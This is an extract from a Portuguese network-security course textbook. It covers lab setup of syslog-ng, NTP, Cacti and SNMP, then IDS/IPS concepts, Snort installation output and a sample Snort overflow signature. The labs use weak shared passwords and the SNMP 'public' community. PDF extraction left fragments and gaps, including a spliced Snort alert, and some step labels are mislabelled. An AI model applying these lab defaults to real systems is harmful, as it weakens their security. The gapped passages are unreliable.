Sim

Sim

Sim

Sim

Console web

Sim

Sim

Sim

Sim

Administração web

Não

Sim

Sim

Sim

Monitoramento de serviços

Sim

Sim

Via plugin

Não

Relatórios de disponibilidade

Sim

Sim

Via plugin

Não

Coleta de dados SNMP

Via plugin

Sim

Sim

Não

Monitoramento de recursos

Sim

Sim

Sim

Não

Mapas de rede

Sim

Sim

Via plugin

Tráfego

Classificação do tráfego de rede

Não

Via plugin

Via plugin

Sim

Coleta de Network Flows

Não

Não

Não

Sim

Detecção de violações de segurança

Não

Não

Não

Sim

Vantagens do Cacti Dentre as opções apresentadas, o Cacti foi escolhido para ser a ferramenta usada neste

q

curso, pelas seguintes razões: 11 Ser simples de usar e adequado para um ambiente de laboratório. 11 Apresentar uma plataforma bem documentada. 11 Possuir um agente eficiente com possibilidade de expansão de características (uso de registros gerados por ferramentas externas). 11 Possuir arquitetura modular, que permite a integração de novos plug-ins. 11 Capacidade de gerar gráficos. 11 Capacidade de coletar informações por consultas SNMP. Apesar das atividades práticas deste capítulo trabalharem apenas com a ferramenta Cacti, o aluno está convidado a questionar o instrutor sobre as outras ferramentas. As instruções apresentadas durante este capítulo servem como ponto de partida para que o aluno seja capaz de instalar e configurar qualquer uma das ferramentas apresentadas. Muitas delas possuem versões pré-instaladas, em Live CDs, ou distribuições Linux customizadas de fácil instalação.

Capítulo 4 - Firewall – Conceitos e Implementação

Figura 4.7 Comparação de características das ferramentas.

Características

93

94

Segurança de Redes e Sistemas

Roteiro de Atividades 4 Nas atividades deste roteiro, serão configurados os serviços essenciais de gerenciamento de hosts em uma rede, como serviço de logs centralizado, serviço de sincronização de relógio e monitoramento dos serviços e recursos dos sistemas.

Internet

Topologia A

FWGW1

DHCP

Topologia B

FWGW1

DHCP

DMZ 172.16.1.0/24

Servidor Linux

Servidor Windows Rede local 10.1.1.0/24

Host Windows Figura 4.8 Topologias para a realização das atividades deste capítulo

Servidor Linux

Rede local 10.1.1.0/24

Host Windows

Atividade 1 – Configuração do servidor de Syslog Nesta atividade, o aluno vai configurar um repositório de Syslog em um servidor da DMZ e enviará os logs dos demais servidores para esse servidor. O objetivo desta atividade é fazer o aluno aplicar os conceitos de repositório de logs de uma rede e preparar o ambiente para os serviços seguintes, que serão configurados durante o curso. No host LinServer, para instalar o syslog-ng, é necessário que esse host já esteja com o acesso à internet configurado conforme o Roteiro de Atividades 3. Após realizar a instalação, com base na teoria apresentada, vamos configurar o servidor para receber o syslog local e da rede, e colocar os logs de cada host em um arquivo diferente no diretório /var/log/syslog/.

Capítulo 4 - Roteiro de Atividades

Servidor Windows

DMZ 172.16.1.0/24

95

Exemplo: Tabela de arquivos de log Host

Arquivo

LinServer

/var/log/syslog/linserver.log

FWGW1

/var/log/syslog/fwgw1.log

Passo 1

No console do VirtualBox, acesse a máquina LinServer. Entre com as credenciais de usuário root.

Passo 2

Atualize a base de pacotes do apt-get com o repositório da internet:

# apt-get update Passo 3

Instale o pacote syslog-ng para ser utilizado como servidor de syslog da rede:

# apt-get install syslog-ng Passo 4

Configure o syslog-ng para receber mensagens de Syslog de outros hosts da rede e colocar mensagens de cada host em um arquivo específico:

# vi /etc/syslog-ng/syslog-ng.conf Passo 5

No arquivo de configuração, adicione a origem remota. Neste caso vamos aceitar conexões UDP porta 514 de qualquer endereço de origem:

source s_rede { udp(); }; Passo 6

No arquivo de configuração do syslog-ng, adicione a linha que especifica onde serão armazenados os arquivos de log, com o parâmetro “destination”;

destination d_hosts-file { file(“/var/log/$HOST.log”); }; destination d_localhost-file { file(“/var/log/localhost.log”)}; Passo 7

No arquivo de configuração do syslog-ng, defina a regra log, associando a origem ao destino desejado. Lembre-se da tabela acima para definir essa regra:

log { source(s_rede); destination(d_hosts-file); }; log { source(s_all); destination(d_localhost-file); }; Passo 8

Como esta máquina foi configurada como servidor syslog-ng e também como agente, os logs locais da máquina devem iniciar o armazenamento no local definido em “destination”, após o reinício do serviço:

# /etc/init.d/syslog-ng restart

Configuração do cliente syslog-ng Iremos instalar o syslog-ng no host FWGW1 e configurar para gravar os logs no local e enviar uma cópia para o servidor de logs.

Segurança de Redes e Sistemas

Para instalar o syslog-ng, os comandos serão os mesmos apresentados para o servidor,

96

conforme segue:

# apt-get update # apt-get install syslog-ng

Passo 1

No console do VirtualBox, acesse a máquina FWGW1. Entre com as credenciais de usuário root.

Passo 2

Atualize a base de pacotes do apt-get com o repositório da internet:

# apt-get update Passo 3

Instale o pacote syslog-ng para ser utilizado como servidor de syslog da rede:

# apt-get install syslog-ng Passo 4

Configure o syslog-ng para receber mensagens de syslog do sistema operacional e processos de usuários e armazenar essas mensagens em arquivo específico, conforme a tabela de arquivos de log localizada no início desta atividade:

# vi /etc/syslog-ng/syslog-ng.conf Passo 5

No arquivo de configuração do syslog-ng, adicione a linha que especifica onde serão armazenados os arquivos de log, com o parâmetro “destination”. Neste caso o destino será o servidor de syslog, o host LinServer:

destination d_syslog-server { udp(“172.16.G.10” port(514)); }; Passo 6

Por fim, também no arquivo de configuração do syslog-ng, defina a regra log, associando a origem ao destino desejado; use a tabela de arquivos de log para definir essa regra:

log { source(s_all); destination(d_syslog-server); }; Passo 7

Como esta máquina foi configurada como agente syslog-ng, os logs da máquina iniciarão o envio para o servidor definido em “destination”, após o reinício do serviço:

# /etc/init.d/syslog-ng restart Passo 8

Verifique no servidor de Syslog LinServer a criação do arquivo de log do host FWGW1 e seus registros. Para testar o envio de logs execute no FWGW1-G o comando:

# logger –p error Teste Para configurar o syslog-ng como cliente, o aluno terá o material teórico e o manual do programa como referências. Para acessar o manual do syslog-ng, utilize o seguinte comando:

# man syslog-ng

Atividade 2 – Configuração do servidor de hora Nesta atividade vamos configurar o serviço de sincronismo de relógio em um servidor da rede e configurar os demais hosts da rede para sincronizar com o relógio desse servidor. O aluno instalará o NTP nos hosts Linux, tanto no host que será o servidor de sincronismo remos os seguintes comandos:

# apt-get update # apt-get install ntp Para reiniciar o serviço no Debian, utilize o seguinte comando:

# /etc/init.d/ntp

Capítulo 4 - Roteiro de Atividades

de relógio, quanto nos hosts que serão clientes desse servidor. Para instalar o NTP utiliza-

97

Onde a ação pode ser: 11 start – para iniciar o serviço. 11 stop – para parar o serviço. 11 restart – para reiniciar o serviço. A configuração do NTP fica por padrão no arquivo /etc/ntp.conf. Para que o programa assuma as novas configurações realizadas no arquivo de configuração, é necessário reiniciar o daemon NTP.

Configuração do servidor de sincronismo Iremos configurar o host LinServer como servidor de sincronismo de relógio da rede. Assim, esse servidor sincronizará os servidores de relógio externos da RNP (ntp1.rnp.br) e disponibilizará o serviço de sincronismo de relógio para os outros hosts da rede. Como referência para esta atividade, utilizaremos o manual on-line “NTP.br - A Hora Legal Brasileira, via Internet”. Passo 1

Instale o pacote NTP no host Debian LinServer no servidor LinServer-G; esse será o nosso servidor de tempo do laboratório:

# apt-get install ntp Passo 2

Edite o arquivo de configuração do NTP (/etc/ntp.conf) com o seu editor de texto preferido e troque os servidores de tempo padrão do Debian pelos servidores de tempo do Comitê Gestor da Internet Brasil (CGI.br). Exemplo:

# vi /etc/ntp.conf Comente as linhas:

server 0.debian.pool.ntp.org iburst dynamic server 1.debian.pool.ntp.org iburst dynamic server 2.debian.pool.ntp.org iburst dynamic server 3.debian.pool.ntp.org iburst dynamic Adicione as seguintes linhas:

server a.ntp.br iburst server b.ntp.br iburst server c.ntp.br iburst Passo 3

Reinicie o processo NTP com o comando:

# /etc/init.d/ntp restart Passo 4

Para verificar o funcionamento do NTP, podemos utilizar os seguintes comandos:

Segurança de Redes e Sistemas

# ntpq -c pe

98

Passo 5

É importante verificar também se o processo do servidor de NTP está carregado corretamente e escutando por conexões:

# netstat –nap | grep ntp

Configuração do cliente de sincronismo Linux Para configurar o NTP nos hosts Linux Debian, instalaremos o NTP conforme mostrado neste roteiro e iremos configurar o NTP para realizar a sincronia de relógio com o servidor configurado no item anterior.

Passo 1

Instale o pacote NTP no host Debian FWGW1-G; este será nosso cliente de tempo do laboratório:

# apt-get install ntp Passo 2

Edite o arquivo de configuração do NTP (/etc/ntp.conf) com seu editor de texto preferido e troque os servidores de tempo padrão do Debian pelos servidores de tempo do Comitê Gestor da Internet Brasil (CGI.br).

Exemplo: # vi /etc/ntp.conf Comente as linhas:

server 0.debian.pool.ntp.org iburst dynamic server 1.debian.pool.ntp.org iburst dynamic server 2.debian.pool.ntp.org iburst dynamic server 3.debian.pool.ntp.org iburst dynamic Adicione as seguintes linhas:

server 172.16.G.10 iburst Onde G é referente ao grupo, G=1 para Topologia A e G=2 para Topologia B. Passo 3

Reinicie o processo NTP com o comando:

# /etc/init.d/ntp restart Passo 4

Para verificar o funcionamento do NTP, utilize o comando:

# ntpq -c pe

Configuração do cliente de sincronismo Windows O Microsoft Windows XP, Windows 7 e Windows 2008 Server possuem uma forma simples de configurar o sincronismo de relógio com servidores de rede, desde de que não tenham o servidor de diretório Microsoft Active Directory como controlador de domínio, pois dessa forma o sincronismo é automático. Para a configuração do sincronismo automático do host Windows com o servidor de hora da rede, clique duas vezes no relógio da barra de tarefas para abrir uma janela auxiliar de configuração. No host Windows XP, configure o relógio para sincronizar com o servidor de relógio do laboratório, o servidor LinServer (172.16.G.10).

Capítulo 4 - Roteiro de Atividades

Passo 1

99

Passo 2

No host Windows 2008 Server, configure o relógio para sincronizar com o servidor de relógio do laboratório. Para isso, clique uma vez no relógio da barra de ferramentas, e aparecerá um menu flutuante; clique em “Change date and time settings...” e aparecerá a tela de auxílio de configuração do relógio, como a seguir:

Clique no botão “Change settings...” e aparecerá a tela de configuração do servidor NTP:

Coloque o endereço IP do servidor NTP do laboratório, host LinServer.

Atividade 3 – Monitoramento de serviços Nesta atividade prática, o Cacti será configurado para monitorar os recursos dos servidores da rede. O Cacti e os pacotes necessários para o correto funcionamento serão instalados no LinServer. Serão configurados agentes SNMP nos servidores WinServer e FWGW1 para que o Cacti possa monitorar os recursos desses hosts. Em um ambiente em produção, onde hosts estão configurados com SNMP versões 1

Segurança de Redes e Sistemas

e 2c, nunca utilize as communities “public” ou “private”.

100

Nesses protocolos, as senhas são as próprias communities, de modo que é fortemente recomendado utilizar strings longas e complexas como communities. Para facilitar a implementação nesta atividade, excepcionalmente utilizaremos a community “public” nos hosts com SNMP versão 2c.

Instalação do Cacti Passo 1

No console do VirtualBox, acesse a máquina LinServer. Entre com as credenciais de usuário root.

Passo 2

Atualize a base de pacotes do apt-get com o repositório da internet:

# apt-get update Passo 3

Instale o pacote syslog-ng para ser utilizado como servidor de syslog da rede:

# apt-get install cacti Para a senha de root do MySQL, utilize rnp123. Para o servidor http, escolha Apache. Responda YES, para o instalador do Cacti criar os esquemas de banco de dados. Para as demais solicitações de senha, utilize rnp123. Passo 4

Configure o Apache para publicar o Cacti:

# cp /etc/cacti/apache.conf /etc/apache2/conf.d/cacti.conf # /etc/init.d/apache2 restart

Passo 5

No host Windows XP, acesse o console web do Cacti para concluir a instalação: http://172.16.G.10/cacti

Passo 6

No primeiro acesso do Cacti, utilize as seguintes credenciais: Usuário: admin Senha: admin Será solicitada a alteração da senha: altere para rnpesr.

Instalação do agente SNMP no Linux Passo 1

No console do VirtualBox, acesse a máquina FWGW1. Entre com as credenciais de usuário root.

Passo 2

Atualize a base de pacotes do apt-get com o repositório da internet:

# apt-get update Passo 3

Instale o pacote syslog-ng para ser utilizado como servidor de syslog da rede:

# apt-get install snmpd Passo 4

Configure o SNMPD para permitir consulta aos discos locais da máquina pelo console de gerenciamento do Cacti instalado no host LinServer:

# vi /etc/snmp/snmpd.conf Adicione as seguintes linhas: com2sec readonly default

public

syslocation Curso SEG-2 ESR RNP syscontact Aluno ESR SEG-2 disk / load 12 14 14

# vi /etc/default/snmpd Altere os parâmetros da variável SNMPDOPTS para:

SNMPDOPTS=’-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/ snmpd.pid 127.0.0.1 172.16.G.1’ Reinicie o serviço SNMPD:

#/etc/init.d/snmpd restart Passo 5

No host Windows XP, acesse o console web do Cacti para adicionar a monitoração do novo host: http://172.16.G.10/cacti

Capítulo 4 - Roteiro de Atividades

Edite o arquivo /etc/default/snmpd para permitir consultas SNMP remotas pela interface eth1:

101

Instalação do agente SNMP no Windows Passo 1

No console do VirtualBox, acesse a máquina WinServer. Entre com as credenciais de usuário “Administrator”.

Passo 2

Para adicionar o recurso SNMP no Windows, utilize a ferramenta “Server Manager”, disponível no botão “Start”, e “Administrative Tools”. No Server Manager, adicione a feature SNMP Services.

Passo 3

Habilite o Windows Firewall para permitir conexão SNMP.

Segurança de Redes e Sistemas

Não é preciso executar este passo no laboratório, pois o firewall do WinServer-G foi desativado no primeiro capítulo deste curso.

102

Passo 4

Configure o SNMP do Windows e crie a community “public”. Permita acesso do host LinServer apenas de leitura. Para isso, acesse a janela do gerenciador de serviços do Windows em “Start > All Programs > Administrative Tools > Services”.

Passo 5

Com o botão direito do mouse sobre o serviço “SNMP Service”, acesse a opção “Properties”. Configure as abas “Agent” e “Security”.

Ao final, reinicie o serviço “SNMP Service”. Passo 6

No host Windows XP, acesse o console web do Cacti para adicionar a monitoração do novo host WinServer pela URL: http://172.16.G.10/cacti

5 Compreender as ferramentas open source disponíveis na internet e as técnicas apropriadas para o monitoramento de segmentos de rede e de máquinas.

conceitos

Sistemas de Detecção de Intrusos (IDS), seus componentes e classificações, HIDS e conceitos relacionados ao Snort, entre outros.

Introdução Nos capítulos 2 e 3, vimos como estabelecer um perímetro para proteger uma rede interna dos perigos da internet e de outras redes públicas, incluindo a criação de uma DMZ para prover serviços públicos. Apesar de ser uma técnica bastante eficiente, existe a possibilidade de as nossas defesas serem atacadas e eventualmente vencidas. Lembre-se: não existe sistema 100% seguro e isso sempre vai existir. Por isso, a detecção e a prevenção de intrusos que consiste no monitoramento constante de diversos elementos, como segmentos de rede, sistemas operacionais e aplicações. Através desse monitoramento constante, podemos tomar uma ação caso alguma atividade suspeita seja detectada, que pode ser desde um alerta para o administrador de segurança até o bloqueio temporário ou permanente do atacante. Podemos considerar um IDS (Intrusion Detection System), em conjunto com um firewall, como uma aplicação do princípio de defesa em profundidade.

Exercício de nivelamento 1 e Detecção e prevenção de intrusos O que você entende por detecção e prevenção de intrusos?

Sistemas de Detecção de Intrusos (IDS) Ferramenta capaz de detectar atividade maliciosa através do monitoramento constante de um segmento de rede ou de chamadas de sistema em um sistema operacional. Possui os seguintes componentes: Sensor, Engine e Console. 11 Centralizados x Distribuídos.

q

Capítulo 5 - Detecção e prevenção de intrusos

objetivos

Detecção e prevenção de intrusos

103

Classificações:

q

11 Quanto ao modo de funcionamento: 22 Detectores de anomalias. 22 Detectores de mau uso. 11 Quanto ao local de atuação: 22 Baseados em host (HIDS). 22 Baseados em redes (NIDS). 11 Quanto à forma de atuação 22 Reativos. 22 Passivos. 11 Ativos (IPS). Um IDS consiste em uma ferramenta capaz de detectar atividade maliciosa através do monitoramento constante de um segmento de rede ou de chamadas de sistema em um sistema operacional. Existem diversos IDS no mercado com componentes e funcionamento distintos, porém normalmente encontramos os seguintes componentes em um IDS: 11 Sensor: responsável por coletar informações sobre a rede, sistema operacional ou aplicação, para ser utilizado como parâmetro de entrada para o sistema de detecção. 11 Engine: responsável por analisar as informações coletadas e comparar com um padrão conhecido, para assim determinar se é um evento normal ou malicioso. Algumas engines trabalham com elementos mais determinísticos, como assinaturas de ataque. Outras trabalham com redes neurais e sistemas estatísticos, e podem detectar ataques desconhecidos. 11 Console: interface para o administrador configurar o funcionamento da ferramenta. Esses componentes podem estar em uma única máquina ou distribuídos. Existem ainda diferentes tipos de IDS de acordo com o modo de funcionamento, local e forma de atuação frente a um ataque. Existem então as seguintes classificações para facilitar o nosso entendimento sobre o assunto.

Quanto ao modo de funcionamento 11 Detector de anomalias: utiliza alguma função estatística ou rede neural para definir um perfil de utilização normal da rede em uma etapa de aprendizado. Em seguida, analisa constantemente o padrão atual com o aprendido. Caso ocorra algum desvio acima de um limiar, considera que houve uma tentativa de intrusão. Essa técnica tem a vantagem de possibilitar a detecção de ataques desconhecidos, mas pode gerar falsos positivos e não é capaz de saber o ataque específico em ação.

Segurança de Redes e Sistemas

11 Detector de mau uso: é o modo mais utilizado atualmente. Possui funcionamento pare-

104

cido com o de um antivírus. Através de um conjunto de assinaturas previamente configuradas, o IDS monitora o ambiente em busca de eventos que coincidam com alguma assinatura. Possui baixo índice de falsos positivos caso as assinaturas sejam de boa qualidade. Não detectam ataques desconhecidos e dependem de atualização das assinaturas por parte do fabricante ou da comunidade.

Quanto ao local de atuação 11 Baseados em host: agem em cima de uma única máquina. Normalmente são instalados na própria máquina que se deseja proteger e monitoram chamadas do sistema operacional ou atividades de uma aplicação específica. Comumente chamados de Host-based IDS (HIDS). 11 Baseados em redes: agem em cima de um segmento de rede. São instalados em uma máquina que faz parte do segmento de rede. Monitoram o tráfego no segmento de rede do qual a interface de monitoramento faz parte. Os IDSs de rede são chamados de NIDS. Um NIDS é capaz de detectar atividade suspeita em uma rede inteira que se encontra atrás dele, porém, como age no nível do sistema operacional, um HIDS é capaz de obter informações mesmo que elas não trafeguem pela rede. Em arquiteturas reais, é muito comum a combinação de NIDS e HIDS de modo a obter uma proteção mais completa.

Quanto à forma de atuação 11 Reativos: agem após um evento malicioso. Podem inserir regras em um firewall acoplado ou tentar encerrar a conexão utilizando pacotes falsificados. É importante ressaltar que, em alguns ataques, a reação pode ser tardia demais. Existem ataques em que um pacote é suficiente para causar algum tipo de estrago. Nesses casos, no momento em que o IDS reagir ao ataque, será tarde demais. 11 Passivos: não causam nenhuma alteração no ambiente. Fazem apenas registros dos eventos e notificações para os administradores. Uma vantagem de um IDS passivo é que ele não causa nenhuma interrupção na rede caso falhe, porém o tráfego malicioso deixará de ser detectado. Aqui temos uma aplicação inversa do princípio de fail safe. 11 Ativos: agem ativamente em caso de evento malicioso. Os sistemas ativos são chamados de Sistemas de Prevenção de Intrusos ou IPS.

Exercício de fixação 1 e IDS Explique no que consiste um IDS.

Sistema de Prevenção de Intrusos (IPS) Ativos: 11 Atuam normalmente em cima de tráfego de rede. Vantagem: 11 Possibilidade de bloquear um ataque a partir do seu primeiro pacote. Desvantagem: 11 Necessita ter capacidade de processamento suficiente. Ação em caso de falha (fail safe): 11 Liberar acesso. 11 Bloquear acesso.

q

Capítulo 5 - Detecção e prevenção de intrusos

Quanto ao local de atuação, como podemos dividir os IDS? Onde atuam?

105

O IPS (Intrusion Prevention System) se diferencia do IDS pelo fato de ser ativo, ou seja, interfere diretamente nos eventos que passam por ele, diferente do IDS, que é passivo, isto é, apenas monitora os eventos, sem neles interferir. Os IPSs mais comuns são os de rede, que atuam em cima do tráfego de rede. Na figura abaixo, podemos diferenciar um IDS de um IPS, por meio da sua localização na rede.

IPS

Figura 5.1 Localização do IDS e IPS na rede.

IDS

Na Figura 5.1 podemos perceber que o tráfego passa diretamente pelo IPS, de modo que o sistema pode optar por não transmitir um tráfego adiante, caso suspeite que seja malicioso. Esse comportamento é diferente do comportamento do IDS, que apenas monitora o tráfego. Mesmo que o IDS tome uma ação, essa será reativa, pois não vai interferir no tráfego da rede. Uma vantagem clara dos IPSs é a possibilidade de bloquear um ataque a partir do seu primeiro pacote, o que pode ser fundamental para mitigá-lo, visto que em alguns ataques, basta um pacote para que o ataque seja bem-sucedido (lembre-se do ping da morte). Uma desvantagem do IPS é a sua necessidade de capacidade de processamento suficiente para analisar todos os pacotes que passam por ele, o que pode causar atrasos em casos de redes muito sobrecarregadas; isso não ocorre no IDS, que é passivo. Um IDS sobrecarregado, porém, não consegue analisar todos os pacotes que passam por ele, de modo a se tornar um IDS estatístico, pois analisa apenas uma porcentagem do tráfego. Em muitos IPSs comerciais, o fabricante indica a taxa de transferência máxima (troughput) que um determinado IPS é capaz de suportar. Outra característica importante a ser considerada em um IPS é a ação em caso de falha. Um IPS onde ocorreu uma falha pode bloquear ou liberar todas as conexões que passam por ele. Essa decisão é capciosa e complexa, pois liberar todas as conexões pode permitir que um atacante acesse a rede protegida, e bloqueá-las pode causar um problema de disponibilidade.

Exercício de fixação 2 e IPS O que são IPS?

Segurança de Redes e Sistemas

Como podemos diferenciar um IPS de um IDS?

Sistemas de Detecção de Intrusos em hosts (HIDS) HIDS agem em uma máquina específica realizando: 11 Monitoramento. 11 System calls. 11 Logs de aplicação. 11 Modificação em arquivos. 11 Criação de processos.

106

q

q

Exemplos: 11 OSSEC. 11 SAMHAIN. 11 Tripwire. 11 Osíris.

Na maior parte dos casos, quando falamos em IDS, estamos nos referindo aos sistemas de detecção de intrusos baseados em rede (NIDS), que são mais comuns. Um sistema baseado em rede é capaz de monitorar um segmento de rede e detectar tráfego malicioso destinado a qualquer máquina que se encontre atrás do segmento monitorado, criando uma proteção mais abrangente, porém limitada a informações obtidas através de pacotes enviados na rede. Como complemento aos NIDSs, existem sistemas de detecção que agem em uma máquina específica, monitorando elementos como chamadas ao sistema (system calls), logs de aplicação, modificação em arquivos ou registros, criação de processos, entre outros. São chamados de HIDS (Host Intrusion Detection Systems). Um HIDS protege apenas a máquina onde esteja instalado, porém é capaz de obter informações que não trafegam na rede. Existem diversos tipos de HIDSs. Os mais simples monitoram questões simples de um ambiente computacional, como alterações em arquivos, uso excessivo de CPU, memória etc. Outros, mais complexos, se instalam como drivers ou módulos do kernel, monitorando elementos de baixo nível no sistema operacional, como chamadas ao sistema e acesso físico ao disco, entre outros. É comum a combinação de NIDS e HIDS em uma rede, de modo a monitorar tanto a rede, quanto as aplicações e sistemas operacionais. As tecnologias de IDS atualmente estão bastante sedimentadas, de modo que existem diversas ferramentas, livres e comerciais. Neste curso usaremos o Snort, considerado um dos melhores IDS open source do mercado.

Exercício de fixação 3 e HIDS

Snort NIDS open source baseado em assinaturas com plugin estatístico (SPADE). Tem estrutura modular altamente customizável com plugins, disponível em diversas plataformas (arquitetura modular). 11 Alertas 22 Arquivos texto. 22 Bases de dados. 11 Armazenamento dos pacotes. 22 FWGW1:/var/log/snort# ps aux | grep snort 22 snort

3305 26.6 58.1 174664 149108 ?

S 192.168.2.33:80 TCP TTL:108 TOS:0x0 ID:17008 IpLen: 20 DgmLen: 454 DF ***AP***Seq: 0x478a75AC Ack: 0x4F338167 Win: 0x40B0 TcpLen: 20

Parâmetros de rede

Figura 5.3 Exemplo de alerta gerado pelo Snort.

[Xref=>http://cve.mitre.org/cgi-bin/cvename.cgi?name=2000-0951] [Xref=>http://www.secutiryfocus.com/bid/1756] [Xref=>http://www.whitehats.com/info/IDS474]

Referências

Através da arquitetura modular do Snort, é possível a geração de alertas em arquivos texto, bases de dados, entre outros. Em conjunto com os alertas, é possível ainda o armazenamento dos pacotes que causaram um determinado alerta, o que é importante para se determinar se um determinado alerta é legítimo, ou se é um falso-positivo. Há programas auxiliares ao Snort, que geram alertas em formatos mais úteis para um administrador, como BASE (Basic Analysis and Security Engine), Sguil (The Analyst Console for Network Security Monitoring) e OSSIM, considerado um SIEM (Security Information and Event Management ). Um SIEM é uma ferramenta centralizada de segurança, com o objetivo de concentrar as informações de segurança em uma única ferramenta. O OSSIM é um conjunto de ferramentas integradas, com um console gráfico completo. Muitas das ferramentas presentes no OSSIM foram ou serão apresentadas neste curso, como Snort, Nessus, Ntop e Nagios. O interessante do OSSIM é que ele é disponibilizado como uma imagem ISO, com todos os componentes instalados automaticamente, bastando apenas a sua inicialização através dessa ISO.

Instalação do Snort A instalação do Snort, assim como a de outros programas open source, normalmente envolveria compilar o código-fonte e instalá-lo na máquina em questão. Porém, no caso do Linux, a própria distribuição Debian, utilizada no nosso laboratório, provê o Snort já compilado, de modo que basta uma conexão com a internet e dois comandos para instalar a parte básica do Snort:

apt-get update apt-get install snort O primeiro comando atualiza a base de pacotes do Debian e o segundo comando efetivamente instala a última versão do Snort disponível. É importante ressaltar que o Debian nem sempre disponibiliza as últimas versões dos programas, pois os desenvolvedores possuem um rígido processo de inclusão de novas versões, de modo que a versão disponibilizada normalmente é inferior à última versão disponível no site. Caso o aluno necessite de uma versão mais atualizada, recomenda-se utilizar o conjunto de pacotes unstable ou utilizar outra distribuição com atualizações mais frequentes, como o Ubuntu.

w Caso tudo corra bem, teremos o seguinte resultado: FWGW1:~# apt-get install snort Reading package lists... Done Building dependency tree Reading state information... Done The following extra packages will be installed: libcompress-raw-zlib-perl libcompress-zlib-perl libfont-afm-perl libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl libhtml-tree-perl libio-compress-base-perl libio-compress-zlib-perl libltdl3 libmailtools-perl libmysqlclient15off libpcap0.8 libprelude2 libtimedate-perl liburi-perl libwww-perl mysql-common oinkmaster

Capítulo 5 - Detecção e prevenção de intrusos

Mais informações sobre os conjuntos de pacotes podem ser encontradas no Fórum Debian (Hibridizando o APT).

109

snort-common snort-common-libraries snort-rules-default Suggested packages: libio-socket-ssl-perl snort-doc The following NEW packages will be installed: libcompress-raw-zlib-perl libcompress-zlib-perl libfont-afm-perl libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl libhtml-tree-perl libio-compress-base-perl libio-compress-zlib-perl libltdl3 libmailtools-perl libmysqlclient15off libpcap0.8 libprelude2 libtimedate-perl liburi-perl libwww-perl mysql-common oinkmaster snort snort-common snort-common-libraries snort-rules-default 0 upgraded, 23 newly installed, 0 to remove and 0 not upgraded. Need to get 5314kB of archives. After this operation, 18.3MB of additional disk space will be used. Do you want to continue [Y/n]? Y [...] Fetched 5314kB in 7s (737kB/s) Preconfiguring packages ... Selecting previously deselected package mysql-common. (Reading database ... 19042 files and directories currently installed.) [...] Processing triggers for man-db ... Setting up mysql-common (5.0.51a-24+lenny4) ... Setting up libmysqlclient15off (5.0.51a-24+lenny4) ... Setting up libpcap0.8 (0.9.8-5) ... Setting up libltdl3 (1.5.26-4+lenny1) ...

Segurança de Redes e Sistemas

Setting up libprelude2 (0.9.18.1-1) ... Setting up snort-common-libraries (2.7.0-20.4) ... Setting up snort-rules-default (2.7.0-20.4) ... Setting up snort-common (2.7.0-20.4) ... Setting up snort (2.7.0-20.4) ... Stopping Network Intrusion Detection System : snortNo running snort instance found (warning). Starting Network Intrusion Detection System : snort (eth0 no /etc/ 110

snort/snort.eth0.conf found, defaulting to snort.conf ...done). Setting up libcompress-raw-zlib-perl (2.012-1lenny1) ... Setting up libio-compress-base-perl (2.012-1) ... Setting up libio-compress-zlib-perl (2.012-1) ... Setting up libcompress-zlib-perl (2.012-1) ... Setting up libfont-afm-perl (1.20-1) ... Setting up libhtml-tagset-perl (3.20-2) ... Setting up liburi-perl (1.35.dfsg.1-1) ... Setting up libhtml-parser-perl (3.56-1+lenny1) ... Setting up libhtml-tree-perl (3.23-1) ... Setting up libhtml-format-perl (2.04-2) ... Setting up libtimedate-perl (1.1600-9) ... Setting up libmailtools-perl (2.03-1) ... Setting up libwww-perl (5.813-1) ... Setting up oinkmaster (2.0-2) ... FWGW1:~# Algumas partes do resultado da instalação (representadas pelas linhas contendo [...]) foram suprimidas por questão de tamanho. Ao final da execução do comando, o Snort estará instalado e executando. Durante a instalação será perguntado o endereço da rede local, que corresponderá ao parâmetro HOME_NET. Esse parâmetro é importante, pois o tráfego que não se originar ou tiver como destino essa rede será ignorado pelo Snort. Caso queira monitorar todo o tráfego que passa pela interface de captura do IDS, configure HOME_NET como 0.0.0.0/0. Com o Snort instalado, podemos verificar se está em execução utilizando o comando ps no Linux:

FWGW1:/var/log/snort# ps aux | grep snort 3305 26.6 58.1 174664 149108 ?

S $SMTP_SERVERS 25 (msg:”SMTP RCPT TO overflow”; flow:to_server,established; content:”rcpt to|3A|”; nocase; isdataat:300,relative; pcre:”/^RCPT TO\x3a\s[^\n] {300}/ism”; reference:bugtraq,2283; reference:bugtraq,9696; reference:cve,2001-0260; classtype:attempted-admin; sid:654; rev:14;) Observe as variáveis do arquivo snort.conf, as portas envolvidas (25 TCP) e a indicação da mensagem de alerta (parâmetro msg). As regras instaladas no Snort podem ser habilitadas ou desabilitadas, individualmente ou em grupo, inserindo comentários (#) nos arquivos de regra (extensão .rules) ou no próprio snort.conf, para bloquear um conjunto inteiro de regras. Muitas regras podem gerar muitos falsos positivos, então fazer um ajuste das regras é uma tarefa cansativa, porém indispensável para que os registros de alerta sejam confiáveis e úteis. Um IDS que gera muitos alertas falsos facilmente acaba em desuso. Existem atualmente diferentes conjuntos de regras para o Snort, alguns pagos e outros gratuitos. A seguir uma descrição sobre os conjuntos mais comuns: 11 Regras Sourcefire VRT (Vulnerability Research Team) Certified – regras fornecidas pela Sourcefire, empresa responsável pelo desenvolvimento do Snort. Necessitam de uma 11 Regras Sourcefire VRT Certified (versão para usuários registrados) – regras gratuitas (snort-rules), fornecidas com defasagem de 30 dias em relação às regras comerciais, podem ser obtidas mediante registro no sítio. As regras se referem a versões específicas do Snort, portanto verifique a versão instalada antes de baixá-las. 11 Regras Emerging Threats – regras comunitárias e gratuitas, desenvolvidas por voluntários. Apesar de gratuitas, as regras ET são muito eficientes e possuem um elevado índice de atualizações. O diretório open contém as regras para cada versão do Snort. 11 Regras Emerging Threats Pro – versão paga do ET, que custa 500 dólares por ano. Para instalar um novo conjunto de regras, basta copiar os arquivos para o diretório de regras do Snort (normalmente /etc/snort/rules) e referenciá-los no arquivo snort.conf (include ).

Capítulo 5 - Detecção e prevenção de intrusos

assinatura por parte do usuário.

113

Oinkmaster Com atualização automática de regras, é instalado automaticamente no apt-get.

q

